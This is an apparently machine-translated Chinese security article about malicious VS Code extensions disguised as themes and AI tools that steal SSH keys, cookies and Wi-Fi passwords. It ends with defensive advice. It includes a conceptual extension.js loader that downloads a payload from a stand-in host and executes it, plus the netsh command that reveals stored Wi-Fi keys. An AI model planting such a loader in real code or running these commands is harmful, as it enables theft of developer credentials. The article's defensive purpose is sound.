链接已复制!

木马主题与间谍软件 AI:针对 VS Code 的大规模攻击

研究人员发现了一场大规模的恶意 VS Code 扩展活动,它们伪装成主题和 AI 工具,窃取从 SSH 密钥到 Wi-Fi 密码的所有内容。

🌐
机器翻译

本文由英文原文自动翻译而成。 阅读英文原文

一个代码编辑器界面被红色的恶意数据流和一个数字特洛伊木马破坏。

你相信你的工具。这是开发者心照不宣的第一准则。当你 npm install 一个库,或者在 VS Code 里点击一款炫酷新深色模式的“安装”按钮时,你期待的不是特洛伊木马,而是更好的语法高亮,是效率的提升。

但一波大规模、新型的供应链攻击已经彻底击碎了这种信任,将你的开发环境本身变成了网络犯罪分子的监听站。

Check Point、Phylum 等安全公司的研究人员揭露了一场精心策划、协同作战的攻击活动,目标直指现代开发栈的核心:VS Code、npm、Go 和 Rust。这不仅仅是代码有 bug、暗藏挖矿程序或烦人的广告软件那么简单。这些是精密打造的“信息窃取器”,伪装成高级主题(如“Bitcoin Black”)和前沿 AI 助手(如“Codo AI”和“Chengdu AI”)。

它们不只是窃取你的代码——还会拿走你的 Wi-Fi 密码、SSH 密钥、浏览器 Cookie,甚至截取你当前桌面的清晰屏幕截图

这篇深度解析将详细拆解这些扩展程序的工作原理、“冒名顶替”式攻击的运行逻辑、推动这股浪潮的经济动因,以及为什么“已验证”徽章可能也不足以保护你。

诱饵:为什么现在事关重大

多年来,“供应链攻击”这个词让人联想到 SolarWinds 入侵事件——一次由国家支持、针对构建服务器的高级别入侵,影响波及数千家政府机构。对于普通前端开发者或数据科学家来说,它感觉遥远而抽象。

这波新浪潮是切身的。它瞄准本地机器上的个人开发者,常常通过依附于受信任协议,完全绕过企业防火墙。

名为“Bitcoin Black”的扩展程序承诺为加密货币交易者提供一款 sleek 的深色主题,下载量高达数千次。同样,“Codo AI”借 ChatGPT 和 DeepSeek 的 hype 之势,宣称自己是一款集成式 AI 助手。结果它非但没有帮你写代码,反而在静默部署一个基于 DLL 的信息窃取器。

可怕的是?它得逞了。 因为这些工具驻留在你的 IDE 内部,它们继承了开发环境的高级权限。对混淆代码的分析显示,其 postinstall 脚本会收集环境变量(你存放 AWS 密钥的地方),并执行 shell 命令。

“攻击者不再只是砸开前门;他们伪装成你搬进家里的家具。”

技术深潜:攻击的解剖结构

一个“主题”——理论上不过是一堆十六进制代码的 JSON 文件——怎么能偷走你的 Wi-Fi 密码?其机制 surprisingly 复杂,显示出攻击者对 VS Code 扩展架构有着深刻理解。

1. “冒名顶替”机制

  • 域名仿冒/名称抢注prettier-vscode-plus 听起来像是知名格式化工具 Prettier 的合法“Plus”版本。事实并非如此。它是“OctoRAT”恶意软件的传播载体。
  • 热点跟风:“Bitcoin Black”瞄准开发者与加密货币爱好者的交集人群。“Codo AI”则利用了 AI 热潮。

他们会精心打磨 README,添加伪造的“已验证”徽章(以描述图片的形式插入),并利用机器人网络人为刷高下载量以显得可信。在 VS Code 应用市场中,社会认同是大多数用户的主要安全判断机制,而它很容易被伪造。

2. 载荷投递(DLL 投放)

安装后,主题在技术上主要由定义颜色的 JSON 文件构成。然而,VS Code 扩展也可以打包可执行代码和激活事件。

Bitcoin Black 为例,该扩展包含一个隐藏的 extension.js 文件,它的作用远不止应用颜色。

  1. 触发:在扩展激活(或 VS Code 启动)时,JavaScript 开始执行。
  2. 拉取:它向命令与控制(C2)服务器发起请求,该服务器通常托管在被攻陷的合法域名或廉价 VPS 上,伪装成一次无害的遥测检查。调查发现了与已知 C2 服务器的连接,该服务器此前曾关联 Lazarus Group。
  3. 投放:它下载第二阶段的载荷——通常是一个编译后的 PE(可移植可执行文件)或 DLL 文件。在“Anivia”活动中,这就是 OctoRAT

下面是一个概念示例,展示恶意加载器代码在看似正常的 extension.js 中可以多么简单:

// 看起来像遥测
const telemetry = require('./telemetry-utils');

function activate(context) {
    // 合法的主题激活代码...
    
    // 恶意载荷
    // 被混淆成分析统计代码
    const u = "https://cdn-stats-track.com/update/v2/payload";
    telemetry.checkUpdate(u).then(payload => {
        // 执行下载到的缓冲区
        require('child_process').exec(payload); 
    });
}

telemetry-utils 模块中包含获取二进制文件并执行它的逻辑,通常会将文件保存到 %TEMP%\vscode-updater.exe 这类临时目录中,以避免引起怀疑。

3. 数据窃取:快速洗劫

恶意软件不会停留在 VS Code 内部,而是利用主机系统资源来收集数据。

  • Wi-Fi 凭证:通过在 Windows 上执行 netsh wlan show profile name="[SSID]" key=clear,它以明文形式获取 Wi-Fi 密码。这使攻击者在本地时就能物理入侵你的网络,或绘制企业网络凭证图谱。
  • 浏览器会话劫持:它扫描 AppData/Local/Google/Chrome/User Data 等目录,复制包含 Cookie 和已保存密码的 SQLite 数据库。这使攻击者可以通过复用你的会话 Cookie 绕过双因素认证(2FA)。
  • 屏幕截图:通过调用 Windows API(如 BitBlt 等),它截取屏幕画面。由于开发者常常在其他窗口(Postman、Notion、1Password)中显示敏感信息,这极具破坏性。
  • 剪贴板劫持:它监控剪贴板中类似加密货币钱包地址或 API 密钥的字符串,并将其替换或记录。

4. 代码块:感染的数学原理

供应链中被感染的概率 P(x)P(x) 随依赖数量 NdN_d 和信任因子 TT(0 代表盲目信任)呈指数级增长。

P(x)=1(1R)NdP(x) = 1 - (1 - R)^ {N_d}

其中 RR 表示每个包的风险。随着 NdN_d(依赖数量)增加,P(x)P(x) 趋近于 1。

对于一名安装了 50 个扩展、且 node_modules 中有 1000 个 npm 包的资深开发者而言,攻击面是巨大的。

历史背景:一种失职的模式

这不是第一次。包管理器的历史就是一部信任被辜负的历史。

2018:event-stream 事件

一个广泛使用的 npm 包 event-stream 被原作者(因倦怠而无力维护)交给了一位名为“Right9delta”的新志愿者维护者。这位新维护者起初表现得很热心。随后,他注入了一个名为 flatmap-stream 的依赖,其中包含加密代码。该代码专门瞄准 Copay(一款比特币钱包应用)的构建流程,以窃取私钥。这就是“耐心型”攻击——先等到取得信任,再发动攻击。

2020:SolarWinds

供应链攻击中的“老祖宗”。攻击者攻陷了构建系统本身。虽然这是由国家支持的高级别行动,但它证明了一个道理:只要你能污染水源(代码源头),你就能污染整个村庄(所有使用它的用户)。

2024:XZ Utils 后门

就在今年,XZ Utils 后门事件展示了维护者如何花费数年时间建立信任,然后在一个核心 Linux 压缩库中插入精密后门。相比之下,VS Code 攻击是“快餐版”:快速、粗糙、大规模分发。

“Lazarus”的转变

国家支持的攻击者(如 Lazarus Group)已经从抢劫银行转向抢劫开发者。为什么?因为开发者掌握着银行的钥匙。他们的目标是互联网经济的“中间件”。

VS Code Marketplace 一直是一片“狂野西部”。与 Apple App Store 不同,这里几乎没有人工审核。自动扫描器只能检查已知病毒签名,而一段定制的混淆 JS 脚本往往能轻松绕过逻辑检查。

经济现实

为什么黑客瞄准开发者?ROI(投资回报率)。

一场针对银行员工的定向钓鱼活动需要投入时间、金钱和复杂的社会工程。而上传一个伪造的“AI 助手”扩展,成本是 $0。

如果有 5000 名开发者安装了它:

  • 其中 10% 可能在财富 500 强公司工作。
  • 其中 1% 可能在 .env 文件中存放了 AWS 根密钥。
  • 这就是 50 把“金钥匙”,而代价仅仅是一份伪造的 README。

优势是巨大的。攻击者的“销售成本”几乎为零,而通过出售访问权限(Initial Access Brokers)或部署勒索软件获得的潜在收益可达数百万美元。一把有效的企业 AWS 根密钥在暗网市场上的售价可达 $5,000 到 $50,000,具体取决于配额限制。

前瞻性分析:“零信任”IDE

行业正濒临一个转折点。市场数据表明,2026 年将出现三大转变:

  1. “开放”应用市场的终结:Microsoft 和 GitHub 很可能被迫实施类似“App Store”的审核流程。
  2. 沙盒化扩展:目前,扩展以你的用户权限运行。未来版本的 VS Code 可能会强制扩展在 WASM 沙盒中运行,默认无法访问文件系统。你必须像给移动应用授权相机权限一样,显式授予扩展读取 /src 文件夹的权限。
  3. 企业“白名单”:企业将停止允许开发者随意安装任何扩展。内部应用市场可能会兴起,只提供经过审核的扩展。

你今天必须做的事

你不能等 Microsoft 出手。

  • 审计你的扩展:打开扩展标签页。如果不是每天使用,就卸载它。
  • 检查发布者:点击发布者名称。他们有网站吗?有 GitHub 仓库吗?如果是通用名称或全新账号,不要安装。
  • 使用扫描工具:像 SocketSnyk 这样的工具已经开始扫描 IDE 扩展,而不仅仅是 npm 包。请使用它们。
  • 网络过滤:在 Mac 上使用 Little Snitch 等工具监控 VS Code 在连接哪里。如果你的“主题”正在与非标准地区的服务器通信,请阻止它。

结论:“特洛伊主题”时代已经到来。你的 IDE 不再是避风港,而是战场。写代码时务必当心。

资料来源 (3)

Advertisement

🦋 Bluesky 讨论

在 Bluesky 上讨论

正在搜索帖子...